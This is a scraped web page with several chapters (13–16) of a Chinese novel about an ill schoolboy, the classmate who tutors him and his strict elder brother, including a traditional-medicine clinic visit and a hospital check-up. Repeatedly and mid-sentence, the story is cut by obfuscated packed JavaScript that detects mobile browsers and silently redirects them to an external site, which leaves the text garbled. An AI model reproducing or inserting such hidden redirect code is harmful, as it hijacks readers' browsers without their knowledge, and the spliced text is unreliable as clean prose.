纪羽冷笑一声,扯了扯手腕:“那你放开我,我去销假。你自己走吧。” 怕他动作太大,贺思钧手掌轻轻施力,说:“你屁股不痛了?” “屁股不痛!”纪羽瞪他,“摔的地方又不是屁股。” 只不过一开始摔麻了,后腰连着大腿根一整块地方都痛,他才自认把屁股摔了。屁股又不是什么脆弱的地方,摔一下也不会摔坏。 谁知道伤的不是那儿。 贺思钧手指微蜷,视线向纪羽身后移去,停顿数秒后迅速移开。 “那更要去医院。” 纪羽笑他:“我们俩身份证都没在身上,号都挂不了。” 贺思钧从口袋掏出身份证:“我带了。” “……医生都下班了,我不去急诊。” “不去公立的,去爱山医院。”绿灯亮了,贺思钧带着纪羽过马路。 纪羽很惜命,过了斑马线才掰扯:“纪律在爱山都充值成皇帝了,我前脚进门后脚监控就打包发到他手机里,你是不是想害我?” 贺思钧定定地看着他:“不是。” 可能是天气转凉越发干燥,纪羽在下午流了点鼻血,很快便止住了,后腰也没有新鲜出血的迹象,纪羽认为这只是一次巧合。但贺思钧的脸看起来挺黑的。 最终纪羽和贺思钧达成妥协,去中医馆看看。 纪羽有段时间病情反复又不肯吃医院开的药剂,徐梁就带着他去见老中医。 把脉就花了半个多小时,纪羽几次低下头去看老中医,觉得他一定是睡着了。 中医和西医一样,说了一堆纪羽听不懂的东西,最后下了结论:你要喝药。 黑乎乎粘稠的一碗药汤端到面前,纪羽终于是知错了,扒着徐梁的肩膀边干呕边哭。被纪律知道后,常常倒一碗凉茶吓唬他,说再不听话就把你送去松年堂。 从此纪羽也就记住了那家医馆的名字,后来也为了缓解关节肿痛去做过几次治疗,也慢慢减轻了对白胡须老头的恐惧。 松年堂大隐隐于市,就在商区里边,围着一圈都是供人消遣的饭馆酒吧,不仔细辨别牌匾,很容易被误认为是一座仿古菜馆。 门口坐着的人余光瞥见两个穿校服的学生进来,提声道:“状元楼往东走两百米!” “我来看病的,梅叔叔在吗?” “噢……认识的啊。你等等,我进去叫人。” 学徒走到里间去喊人,没多久走出一个约莫五十来岁的男人,微胖,慈眉善目,脸颊饱满红润,下巴续了截胡子,可惜只有一段指节长短,不太符合仙风道骨的形象。 他看到纪羽就招呼:“小羽啊,今天怎么来了,你哥怎么没提前打声招呼,情况还好吗?” 梅永亮前几年才算正式接手了这家医馆,非特殊情况梅父不再接诊。 纪羽就算是那个特殊。 梅永亮对他也颇为熟悉,有资格说“你小时候被我抱过呢”这句话。 “我挺好的啊……”纪羽始终觉得望闻问切很玄乎,对上梅永亮心里打鼓,说话也没多少气势,他让开一步,“贺思钧让我来的。” 梅永亮见过贺思钧几面,不过这孩子寡言少语,他也没太深的印象,于是只笑了笑,把两人迎到楼上。 二楼空间不大,两张窄床占了一半位置,靠墙是到顶的手打木柜,看起来有些年头了。 梅永亮让纪羽在床上躺下。 纪羽趴了上去。 “我看看,这怎么摔的,除了这儿痛,其他地方呢,肚子痛吗,这儿呢?” 纪羽怕痒,被戳一下就抖一下,趴在床上撑起身回头看:“不痛,我是不是没别的事儿了?” 梅永亮抬手把他脑袋摁下去:“再观察观察,我去底下拿点冰袋上来。小贺啊,你把那毛巾给他垫上。” 梅永亮踩着木制楼梯嘎吱嘎吱地下去了。 纪羽又撑起胳膊,趁贺思钧拿毛巾的工夫转头向身后看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126406|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嘶……” 纪羽倒回床上,全身瘫软无力:“难怪你不让我看,我感觉好痛。” 贺思钧展开毛巾盖住伤处,瘀青颜色加深,从中间蔓延出深紫,边缘青黄交错,有他一手长宽,几乎盖住纪羽整片后腰。 “你看了会害怕。” 纪羽从来都没学会过接受这些,只要没亲眼看到异样,就不会觉得有什么,还能活蹦乱跳。 纪羽第一次发病时,紫癜爬上脚踝,也是贺思钧发现的,纪羽说他觉得奇怪所以穿袜子都是闭着眼。 哪里奇怪,忽视这么明显的异样选择逃避不去看才奇怪。 贺思钧后来才知道原来他是害怕。 纪羽别过脸:“它要过多久才会好?” “你不要乱动,少走动,好得会快一点。” “那是要几天?” “我不是医生,我也不知道。” “……” 纪羽本来打算背过身不和他交谈,过了会儿又指挥贺思钧把他书包打开。 “拿什么?” “你把我物理…不对地理卷子拿出来,我要写。” 贺思钧问他:“你趴在床上怎么写。” 纪羽回:“用脑子写,我把答案记脑子里再填上去不就行了。你就站在那帮我举着。” 这一招实在是很高超,纪羽排除了所有贺思钧选考科目,避免了贺思钧在他学习时偷学,堪称一次巧妙且有力的反击。 可惜贺思钧有两只手。 纪羽只好眼睁睁看着贺思钧一只手举着他的卷子,另一只手拿笔做题,半点没有累了休息的意思。 纪羽被他激发出斗志,完全沉浸在学习的氛围中不能自拔,连梅永亮什么时候上来过都没意识到。 后来怕忘了答案,纪羽就让贺思钧模仿他的笔迹按他的口述填写上去。 “早说让你和我一起练字了,你都不会仿字。”纪羽拿过试卷一顿挑刺,贺思钧写字刚正不阿像刻上去似的,一点都没有美感。 纪羽的字有他自己的特色,轻易仿不来,贺思钧问:“姓名班级还没写,你回去自己签还是我签。” 一张卷子两种笔迹未免太嚣张,纪羽递回去:“你替我签了吧。” 贺思钧落笔很快,纪羽望去:“我的名字倒是签得很像嘛。” 流畅的笔尖微顿,纪羽没注意到,提醒道:“快,拿下一张。” 贺思钧从自己包里翻出一沓卷子:“先做物理。” 纪羽看着就头痛:“你这哪来的,鲁班没布置这个。” 贺思钧说:“专门为你布置的,你只需要做上面划好的题型就可以。” “他说没说什么时候交?”纪羽哀嚎一声,小心翼翼道。 题量那么大,至少得给两个礼拜时间。 “下周二。” “那不是没几天了吗,我做不完!” 贺思钧抖抖试卷:“你忘了,我们是互帮互助的关系,我教你写物理,待会你辅导我做英语。” 纪羽把脸埋进枕头,手抱住耳朵:“教你不如教只猪!” 但事已至此,好像也没有商量的余地。 城市里找一头猪不容易,而贺思钧就在眼前。 14. 第 14 章 纪羽与贺思钧的学习互助就这么在松年堂持续着。 尽管梅永亮医术高超,也无法在短时间内让淤血化开。 但好消息是,纪羽已经这些天都没和纪律碰上面。 在纪羽听来纪律按时间计费的吹嘘似乎也不是假话,纪律要比他想象中要忙得多。 即使住在同一屋檐下,不刻意凑时间,该见不到还是见不到。 不过,不在纪律眼皮子底下活动,对现阶段的纪羽无疑是一件好事。 他总觉得在纪律面前是说不了谎的,纪律的眼睛像探照灯,纪羽的小心思总是无处遁形。 但纪羽哪能事事顺意。 “贺思钧,你没有语感吗?你是单细胞生物吗?这里的空不是显而易见要填dressed吗?你告诉我wound是什么意思!” 贺思钧坚定不移道:“伤口。” “你也知道是伤口,”纪羽气笑了,“你受伤了第一反应是切掉伤口吗,就算你不知道dress有包扎的意思也不应该选cut吧,你但凡选择applied呢?” 贺思钧说:“我结合了实际认为这是合理的行为,题目不应该出现多个正确答案。” 纪羽在理疗床上扑腾,贺思钧从板凳上站起来按住他,就听纪羽说:“你还正确上了,你腿疼锯腿头疼砍头是不是?” 贺思钧不说话了,纪羽猜他是哑口无言。 “你越确定自己的答案没有错误的时候,就越可能犯错。贺思钧,不要选择脑袋里出现的第一个声音,如果没有反对的声音出现,那你就危险了。” “危险在哪?” 纪羽一本正经:“危险在你要成为所有文科老师嘴里的负面案例,遗臭一届又一届。” 纪羽至今都记得政治老师看到贺思钧选择题近乎全错时难以置信的眼神,每回心情不好时他都会拿出来回味。 贺思钧好像没有羞耻心:“没关系,反正我也不会知道。” 倒是有种身前哪管身后事的洒脱,纪羽嗤笑一声:“既然你也不在乎,毕业后直接入职小区保安,少走五十年弯路。” 纪羽不想管了,猪都比贺思钧聪明懂变通,贺思钧那是十头牛都拉不回来回来的倔驴,和他说一句话,得折三年寿。 他趴在床上,后腰敷着药也躲不到哪去,就把手臂圈起来将脑袋戳进去,不想和贺思钧再多交流一个字。 贺思钧看到他两只耳朵因为情绪激动泛起血色,耳骨薄薄一层,被光晕着能隐约瞧见里头的血管,耳垂上的肉多些。 贺思钧听老人说,有福之人耳垂饱满,一生顺遂无忧。 纪羽一定有福气的人。 离开松年堂时时间略晚了,纪羽边向外走边穿外套:“快走快走,我睡着你怎么不叫醒我,饭店都打烊了。” 宁海市没有夜生活,周末就算是商区人也不算多,临近十点,不做宵夜的各家饭馆都在收拾卫生,门口招揽生意的灯也熄了。” 纪羽还听到碗碟撞在一起发出的声响,不由着急起来。 贺思钧背着两个包走出来:“打车吧,坐地铁太晚了。” 他站到路边拦车。 纪羽把自己的包夺回来,张望了一阵远方没看到出租车,就忍不住在边上四处看看。 他都没在这儿吃过饭呢。 巷道深处传来咕噜噜轮子滚动的声音。 纪羽目光向里边探了探。 没有灯,黑漆漆的看不清楚。 纪羽想起课间被迫听去的都市怪谈,心跳声在胸腔里渐大。 没忍住向贺思钧靠了靠,听着滚轮声越来越大,他微微睁大了眼向巷口看去。 是隔壁饭店的后厨推着垃圾桶出来了。 自己吓自己,本是虚惊一场。 纪羽却反常地顿在原地,看向推车的男人。 男人点了一根烟夹在指间,在夜里燃着微弱的火星,指节偏粗,是干活的手,他抬手抽烟,工作服的袖口处露出一截刺青的小臂,图案一直爬到手背。 他异常敏锐,注意到侧方的视线,纪羽闪躲不及,就这么暴露在男人的目光之下。 香烟在指间被弯折,男人目光沉沉,语调莫名低沉,似乎隐含怒气:“阿雀。” 纪羽脸色几经变幻,面色发白,看着男人松开推车向他走来,攥着书包背带的手指几乎要抽筋,张口哑然失声。 “车到了,你先上车。” 纪羽回头,贺思钧已经拉开车门,看着他,表情很淡然。 他心里很想就这么钻进车里离开,装作没有听见男人喊他的声音,也装作自己没有出现过。 “老麦。”纪羽听见自己打招呼,声音像走了调。 可能是声音太轻,司机按了下喇叭把音量盖过。 老麦的语气不近人情:“有段时间没见,连招呼都不肯打一个了?” 纪羽又张不开口了。 “小娃儿,你上车不?我赶时间要交班的!” 司机在催促。 贺思钧走过来,摘下他的包,拉着他进到车里,关上门。纪羽没有反抗,好像他也赶时间所以没办法和男人好好寒暄。 老麦一直盯着他上车,直到车开走,他才把烟递到嘴边。 “艹,火都灭了。” 贺思钧从另一边上车,纪羽和他共同坐在后座,中间却空出一人多宽,让柳承入座也绰绰有余。 纪羽背对贺思钧靠在车窗边,司机还提醒道:“不要靠在车门上啊,我这是旧车了,万一车门打开很危险的。” 纪羽不想说话,默不作声向后挪了挪,贴在座椅靠背上。 司机确实很着急,油门一踩再踩。 窗外迅速掠过了一排排高耸的建筑,高架桥护栏顶盛放的鲜花在视线边缘扭曲为模糊的色块。 纪羽看着车外,没注意到车窗上映着他惴惴不安的脸。 司机把车停在小区门口,以更快的速度离开了。纪羽抬眼看一眼跟着下车的贺思钧,没什么话好讲,这一天都过得很累,他想早点回家。 贺思钧看着他迈步慢慢往家走,路灯明亮,周遭寂静,从心底突然涌起一阵冲动,促使他跑上前追上纪羽。 两个人的影子又叠在一起。 纪羽低着头,视野里出现刷的干干净净的鞋面,他用力踩上:“都怪你都怪你都怪你……” 他发泄够了又停下来,依旧低头看着贺思钧灰扑扑的鞋面和裤腿,说:“我不应该相信你的,贺思钧。我为什么要听你的话…如果我没找你帮我就好了…现在已经都完蛋了!” 贺思钧看不到他的表情,只好蹲下来,手指圈住纪羽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126407|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小腿。 这个角度很危险,纪羽踢他的时候容易把自己也绊倒。 “没有完蛋。” “你没看到老麦看我的眼神吗,他想掐死我。” “我不会让他掐死你。” “……” 纪羽果然抬腿想踹他,贺思钧小臂上移稳住他,防止他重心不稳向后倒。 纪羽顺手勒住了贺思钧的脖子。 “我勒死你算了。”似乎无论如何都找不出任何补救的方法,纪羽抱着同归于尽的念头说。 贺思钧喉结滚动,脸贴着纪羽的上腹,声音发闷:“你要从背后勒我脖子,你这样容易受伤,最多把人勒晕。” 夜深了,贺思钧压低声音说话,连带着纪羽的胸膛也在振动。 纪羽又气又烦又难过,伸手去抓贺思钧的嘴巴想叫他闭嘴,手在贺思钧脸上乱揉一通:“你闭嘴!” 纪羽大概是真的很伤心,满脑子都是老麦问他那一句话。 他不是不想打招呼,他只是不知道该怎么面对老麦,也不知道该说些什么,只能一而再再而三地拖延时间。 如果这次没有碰巧撞见,他都不知道老麦又换了工作。 也不知道那家饭馆的工资高不高。 老麦那么努力生活,却偏偏碰上了他这种得过且过的人。纪羽甚至都没告诉他自己还在上高中,连真实姓名都没透露,心口一阵一阵堵得慌。 纪羽没有维护好这段关系,却也不只是这一段关系。 他看着贺思钧被他手掌揉搓到变形的脸,更没由来地伤心,失败的滋味无孔不入地笼罩着他。 “我什么都做不好。”纪羽的手落下来,砸到贺思钧的肩膀上,他重新站直,侧脸隐没在阴影里,贺思钧看不清他脸上的那颗小痣 “纪羽。”贺思钧拧起眉头,他站起来,“你一直都很好,为什么要这么说?” 纪羽才听不进去他的话,贺思钧的安慰就像无法制冷的空调,努力了但没有丝毫用处。 纪羽心底潮湿闷热的雨不会因为他说停就停。 纪羽绕过贺思钧朝前走,就听到贺思钧说:“如果我说,都是我的错,会怎么样?” 纪羽转过身,贺思钧的脸上残留着红印,显得很滑稽,却一本正经地说:“不是因为你不好,而是我做错了,我为所有事情道歉负责。纪羽,是我没有考虑周全,我应该有更好的处理方法。” 他确实不会说话,每回翻来覆去都是那几句,什么讨人喜欢的话贺思钧永远学不会怎么说,所以他只有纪羽这一个要好的朋友,无论纪羽如何磋磨他都受着。 他最可贵的就是他永不质疑自己的判断,不怀疑不犹豫。 却也因为纪羽,他开始迟疑。 纪羽从上到下地仔细看他,从他外套里洗得磨出毛边的衣领到他满是脚印的裤腿,鼻腔发酸。 他那么害怕每一段关系的破裂,害怕纪律真的不管他所以不敢抗争到底,害怕老麦对他彻底失望而因此记恨他,害怕脆弱的缥缈的关系断裂在一句话一个表情里。 唯独贺思钧完全不懂这些,贺思钧只会追着他把断开的绳索重新系上死结。 纪羽只能怪罪他,但他好像不该只怪罪他。 “本来就是你的错,”纪羽扬起下巴,“我说了我不会原谅你的。” 15. 第 15 章 到家门口时已经很晚,纪羽祈祷着韩姨已经睡下而纪律还没回来,可远远的他就看见院门边立着道人影。 ——纪律在门外抽烟。 纪羽印象里他是不抽烟的,毕竟纪律的时间如此宝贵,每一分每一秒都该花在有价值的东西上。 不具备任何性价比的事情,抽烟占一个,管教纪羽也算在内。 或许这些天是他管教自己的时间少了,所以有了额外的空余,浪费一点也没什么。 烟尾燃起的火星让纪羽想到老麦,除却干正事时,老麦烟不离手,一天就能抽去两包,赚的钱也不够他花的。 他不知道老麦在惆怅什么,更不知道纪律在想些什么。 纪羽有点忐忑地迈步,已经到了十一点,早过了他该到家的时间。虽然他不像贺思钧那样受到严格的时间管理,但也清楚晚回家不是什么好事。 以前纪律放学回来晚了,纪羽就会大哭,因为他怕纪律在路上被车撞了或是被掉下来的花盆砸到,意外一旦发生就不是小概率事件,而是百分百了。 纪律应该也会担心他的,纪羽决定待会儿挨骂的时候不还嘴,要好好地认错,保证以后绝不再犯。 烟云散去,纪律像是终于看到了磨磨蹭蹭靠近的纪羽,他依旧是冰冷中夹杂着些许烦躁的神情。奇怪的是,他没有说任何纪羽意料中批评的话,仅仅是扫了他一眼,就继续抽烟。 纪羽头皮发紧,拽着书包带走到他面前:“我在路上有点事情……” 吐出的烟雾再次模糊了纪律的脸,纪羽听见他说:“嗯。” 这就结束了吗,纪羽不信邪地向纪律又迈了一步,就听纪律说道:“离我远点。” 足足过了三秒,纪羽才把这句话里的情绪解码。 为什么要对他这么不耐烦? 他知道自己错了,不能好好地说话吗? 但纪律已经转开身,背朝着他,只看得到白色的薄烟在风中散开,烟草味很重。 纪羽下压的嘴角,紧绷到缺血的指节,都被纪律甩在身后。 纪羽多半是不服气,从胸膛里憋出一道哼,自顾自走进院子。 一夜过去,纪律又不知所踪,纪羽也没有去问韩姨,他觉得这样也很好,至少家里的氛围很轻松。 但到了学校,纪羽要关注的事就多了起来。 首先他没有参加一中组织的暑假补习,复习进度和其他人相比差了近一轮,因此每节课下课他都在各个老师屁股后头跟着问问题,手上的题永远都没写完过。 再是梁子尧的分享欲实在太旺盛了,且总能抓住纪羽空闲的时机,和他说一点最近发生的小事,没什么重要的内容,但经过他一讲就好像很有趣。 梁子尧还经常把他的手工带来,市面上没见过,看着又丑又精致的,纪羽经常一边拿着玩一边听他说话,就算只有几分钟也过得丰富多彩。 相比之下,他和贺思钧的关系就变得微妙起来。 鲠在纪羽心头的刺依旧没有拔去,但他并没有像他说的那样,看到贺思钧的脸就恶心,也没到不想听贺思钧说话的地步。 纪羽在学校的时间要分给上课,分给展舒文、柳承和梁子尧,也就没多少时间搭理贺思钧。 在其他人看来,就是完全不交流了。 后腰的淤血逐渐散开了,没再出现额外的异样。贺思钧也没有再强迫他继续到松年堂去,因此,纪羽没有再见到老麦,和贺思钧的学习互助本来也该到此为止。 不过傍晚下课后,纪羽还是会和贺思钧一起出校门,去一家纪羽喜欢且清淡的饭馆吃一顿饭,然后到贺思钧租的小单间里学习。 而一中也突然放松了对晚自习的管理,晚自习自愿参加,整个年级近三分之一的人选择回家自习,因此纪羽和贺思钧两人的缺席也不算突兀。 后来纪羽才从同学嘴里知道,是其他高中出现了几起恶性事件,不过不能说,也不好说。 纪羽很快走开没有再问。 纪羽很忙,所以他不和贺思钧聊学习以外的事,贺思钧更不会找话题。 他们看起来一点都不像一对关系不错的朋友。 只是背着其他人凑在一起,偷偷努力学习的搭档而已。 付出是有收获的。 鲁班特别夸奖了纪羽的进步,然而纪羽沉浸在满足与自豪中还没多久,纪律又开始对他的生活指手画脚。 “明天我带你去复查。”夜里,纪律没有敲门,直接推开纪羽的房门说。 “明天?”纪羽揭开倒在脸上的单词本,坐起身,困意去了大半,“明天我还要上课,鲁班说要出一张新卷子考我们,我还……” 纪律不关心他的安排,直截了当地说:“明天早上八点,我会让韩姨来叫你。” 他还等着纪羽按捺不住欢欣鼓舞,再将起床时间往后推。 可纪羽没有绷不住展现出高兴的模样,他跪坐起来有点为难:“再过两天去好不好?过两天就放假了,最近进度很赶呀。” “纪羽,我只有明天一天的时间。” “那就我自己去,”纪羽打量着纪律的神情,觉得他不会同意,又说:“或者让韩姨陪我吧。” 纪律走过去摸了摸纪羽的脑袋。 “你干嘛,我没发烧啊。” 纪羽反应灵敏,动作也不算迟缓,除了脸蛋依旧白生生的,眼下有点睡眠不足的乌青以外,看起来确实还不错,比前些日子纪律看到他的精气神要好得多。 那就更让纪律困惑了:“你读书把脑子读坏了?” “你说什么呢!”纪羽很不服气,他近来越来越感觉自己聪明得不得了,简直一点就通,尤其是在贺思钧的衬托下,他的进步简直就像坐了火箭,马上要把他发射上天做神童了,结果纪律居然这么说他! 他体谅纪律工作也算是辛苦,早出晚归的没比他轻松,结果态度好一点纪律就这样对他,立马还击道:“你才是工作把脑子弄坏了。” 纪律似乎没有和他辩论的意图,用力掐了下山根闭了闭眼:“明天穿方便的衣服去,早点睡。” 可纪羽还没答应他明天一定会去,明天纪羽是有很多安排的呀,贺思钧还说明天新沙发会到,比现在这个躺着要舒服。 总是不听他的意见! 独断! 专横! 纪羽愤恨地倒回床上,又因为动作不对抻到腰小幅度地在床上翻滚。 他的主治医郝益说纪羽是他见过对疼痛最敏感的病人,意思是整个医院就纪羽嚎得最大声。 纪羽确实怕痛,他那时候年纪还小,也不懂什么掩饰,痛就哭个不停。现在已经好很多了,闷哼声都捂在被子里。 过了一会儿缓过劲来,纪羽就蛄蛹着爬下床,跑进更衣室照镜子。 “怎么还没好……” 颜色最重的紫红散开了,但还留下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126408|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大块青黄贴着脊柱。纪羽又打开电脑搜了下,上边说淤青得变成黄棕色才说明快好了,他再努力也不可能在明天之前恢复完好。 纪羽在房间里走过来,走过去。 仔细想想,其实被纪律知道也没什么,顶多就是被骂一顿。难道纪律平时对他的态度就很好吗? 只要忍一时狂风骤雨,就能得到退一步海阔天空。 纪羽想开了,回到床上,关灯,睡觉。 第二天一早,天微亮,鸟啼声刚响过一阵,此刻弱下去,倒显得很寂静,窗台上还凝着露水。 纪羽小心翼翼地拎着拖鞋下楼。 先斩后奏!先斩后奏! 只要他提前溜到学校去,就不会让纪律的强权得逞。再怎么着纪律也要脸,他待在学校宁死不出来,难道纪律还能强闯抓他出来? 学校是他的保护伞是他的避风港,纪羽从今天起再也不说想炸学校的话了。 脚尖终于落到最后一节台阶,纪羽松了一口气,慢慢地向外走。 怕韩姨找不到他着急,纪羽又顶着压力花了一点宝贵的时间写了一张便签,留在餐桌上。 【我去上学了!!!】 做完这个,纪羽挺胸抬头,就要堂堂正正打开门走出去。 手即将落在门把的那刻,把手突然下压,门向外打开,露出纪律沾着汗水的脸。 纪律走进来,低头看着纪羽,汗水从眉尾滑落,落在纪羽抬起的手背。 “纪羽。你要去哪?” 咚咚咚。 纪羽一瞬间僵直了,完全不能运转大脑,胸膛里似乎有不属于他的某种器官跳得很剧烈。 纪律见纪羽的脸一瞬间变得惨白,抬手握住他肩头:“吓傻了?胆子这么小还偷溜出去。” 纪羽如梦初醒,抖了一下,倒退两步:“我,我打算去买早餐的。” 早上气温偏低,纪律把门关上,换了鞋走进来,身上蒸腾着热气。 他倒了杯水,站在那看着纪羽:“你去?待会打算叫谁去路边接你?” 听他提起这个,纪羽苍白的脸上浮起血色:“干嘛翻旧账,那是意外嘛……” 初中时期一个周末,纪羽难得早起,不为别的,就为彰显自己一片孝心。 前一天晚上学校组织观影《亲爱的宝贝》,被电影里真挚的亲情打动,纪羽看得眼泪稀里哗啦,晚上回家时眼睛都肿了,缩在被窝里想了一夜,认为自己也该尽一份力为家庭做出贡献。 于是一早就从纪律钱包里掏了一百块钱,精神奕奕地出门了。 纪律接到电话时还在睡梦里,赶到早餐店一看,纪羽正被人围着喂豆浆喝,小脸因为低血糖煞白一片,眼神都不能聚焦了。 纪律把他背回家,他在家睡到了下午才醒。 就为此事,纪律先就他没有安全意识训了他半天,又年年把旧事重提笑话他一顿。 纪羽心里很想把纪律的脑袋摁在地上磕几下,最好能让他失忆,表面上却是本本分分地站着没敢直接跑出去。 “别和我撒谎。”纪律走向他,把水杯塞到他手上,“你们班主任和我说,你这段时间都没在学校上晚自习,韩姨告诉我,你这段时间都到晚上十点后才回来。” 纪律声音很轻,语气并没有很重,但就是让纪羽紧张起来。 “纪羽,这段时间你不在家也不在学校,你去哪儿了,有什么事情你要瞒着我?” 16. 第 16 章 “我和贺思钧在一起,我和他一起写作业,不可以吗?”纪羽意外地镇定下来,语气凝实,仰起脸气冲冲地说,“我又不是会乱搞的人!” 真到了快被发现的时候,纪羽反倒没有那么害怕了。再说了,他又没说谎,老师还表扬他学习认真了呢! 他不甘示弱地直视着纪律的眼睛,面上没有半点心虚的影子。 纪律和他对视数秒,又转开脸笑了一声:“前几天闹得天翻地覆,现在又亲亲热热了。” 怎么就亲亲热热了,纪律会不会用形容词?纪羽自觉收到了嘲讽,别开脸说道:“和你没关系!” 说罢,咕咚咕咚把水喝干了把杯子往前一递,挑衅地抬起眉毛。 “把校服换了,”纪律平静地接过水杯,在纪羽胸前的拉链上碰了一下,“别穿带金属的,书包也不用背。” 纪羽抬手捂住拉链头,又拽了一下书包带,知道现在他是没法出这个门了,嘟囔:“反正都要脱下来,校服很方便啊。”要是检查得快,他还能回学校上半天课呢。 “随你。”纪律不再为小事和他掰扯,走到厨房清洗水杯,“还是八点出发。” “哦。” 纪羽看看门口,又看看背对他的纪律,不死心地挪了两步。 “桌子上的纸条自己拿去丢了。” “……”纪羽都忘了这一茬! 他走过去,愤愤将纸条在手心攥成团,故意重重地踏上楼梯,走了没两步想起韩姨还没起,又转而轻轻迈步。 回到房间,纪羽摘下书包,百无聊赖地倒在床上,没有半分睡意睁着眼睛看了一会儿天花板,又爬起来坐到书桌前。 笨鸟先飞,勤能补拙,早起的鸟儿有虫吃! 纪羽打开数学题册,决定攻克一下昨晚没能解决的难关。 八点,纪羽被纪律推醒时吓了一跳,迷迷瞪瞪地坐起身就说:“老师,这道题我不会。” 他脸上还压了两道很深的红印,通红发紫,纪律揉了几下还是很明显。 上车后纪羽又睡了过去,纪律再把他叫醒时已经九点半了。 “干嘛不叫我……”纪羽拿着湿巾慢慢擦脸,觉得自己又被迫浪费了好多时间。 纪律把手机里的照片递给他看:“顶着大花脸出门给人笑话?” “快删了!”纪羽提高音量,“谁允许你拍我了,你侵犯了我的肖像权,拍得那么丑……” 纪律收起手机下车,转到副驾拉开车门把纪羽拎出来:“那你去告我。” 纪羽甩开他的手,大步走在前面,哼哼唧唧道:“等下礼拜妈妈回来你就完蛋了。” 他一定要把纪律对他的态度有多差一五一十地告诉纪泽兰和徐梁,到时候家里可就不是纪律一个人说了算了。 纪律对他的威胁充耳不闻,先让人安排抽血。纪羽有点紧张,悄悄问护士:“我五点多的时候喝了半杯水,没关系吧。” “少喝一点没关系,总不能把人渴坏了。” 纪羽安下心来点点头,趁他不注意,护士就将针头扎进了血管。 到了医院里,纪羽倒很配合,让做什么做什么,送来的早餐也半点没挑剔地吃完了。 “请把裤腿挽起来,上衣的外套最好也脱掉。” 纪羽一一地照做了,但要求撩起上衣的时候说:“上面就不用看了吧,以前没有过出血点的。” 给他做触诊的郝益说:“保险起见,还是看一看比较好,毕竟来都来了。” 很少有人拒绝来都来了。 “我自己看过了,没事的,反正以后还要再来,下次再检查吧,好吧?”纪羽小声和他打商量。 下次一定。 郝益不为所动,甚至提高音量:“这样不好吧。” 于是纪羽看着原本坐着的纪律站起身走近。 “怎么了,有什么问题?” 郝益维持着微笑看向纪羽,纪律也看着他。 纪羽挪挪屁股坐直了,极为自然地岔开话题:“中午吃什么啊,我想吃膳记的芋头了。” “你检查结束没问题就去。” “那现在就去!郝医生已经检查得差不多了,血检报告应该也出来了吧,是不是没问题?你先去把车开出来嘛。” 他甚至还朝纪律笑了一下。 虽然早上出了一点小插曲,但纪羽今天很配合,所以纪律的心情也不错。至少表面上纪羽没看出他不耐烦来。 纪律直接掀起了他的衣服。 “!” 纪羽忙伸手向后捂,正面对着纪律说:“你干嘛啊。” 可惜守住了城门,后方遭了敌袭。 “伤了有一段时间了,再过几天淤青散了差不多就该好了。”郝益在他后腰处按压了几下,“恢复得还不错,没什么大问题。” 事情败露,纪羽也没什么好再瞒的。 在纪律的注视下,主动和郝益交代了个十成十,争取坦白从宽。 直到从检查室出来,纪羽都没再去看纪律的表情。 其实也没什么,只是以前他把手指甲剪缺一个口都会举起来给纪律看,现在只是他长大了有了更多的秘密而已,纪律会理解的。 更何况,他处理得很好,郝益也说没什么大问题。 纪律既没有因此恐吓他、批评他,却也没有对他说些别的什么话。 就是这样,才让纪羽更加不安,胃里沉甸甸地下坠。 详细的检查报告最后会详细地发送到纪律的邮箱,不过纪律要求必须有当场的纸质报告,因此他们还花了一点时间在等待上。 纪律始终在用他随身携带的平板翻阅各种资料,回复一条接一条的消息。 因此纪羽也不知道他对自己的沉默是不是故意的,他什么都没有带在身上,因此只能翻一翻医院的宣传手册打发时间。 纪羽在这里有专门的休息室,熟悉的护士来问他要不要给他拿点喝的,再拿一本杂志来,纪羽拒绝了。 他本能地不想表现得太舒服太惬意,因为纪律可能是想通过冷落他的方式叫他汲取教训,或者纪律没这么想,但他可以趁此表现得可怜一点。 纪律忙完了,就见到纪羽靠在沙发的扶手上,肩膀耷拉着,脸颊搭在胳膊上,垂着手拨弄手指,没发出一点声响。 纪羽惯会用这种招式装可怜,纪泽兰和徐梁是最主要的受害者,每回都上当。 只要纪羽表现得乖一点,安静一点,好像就是受到了极大的委屈,得用各种方式哄他开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 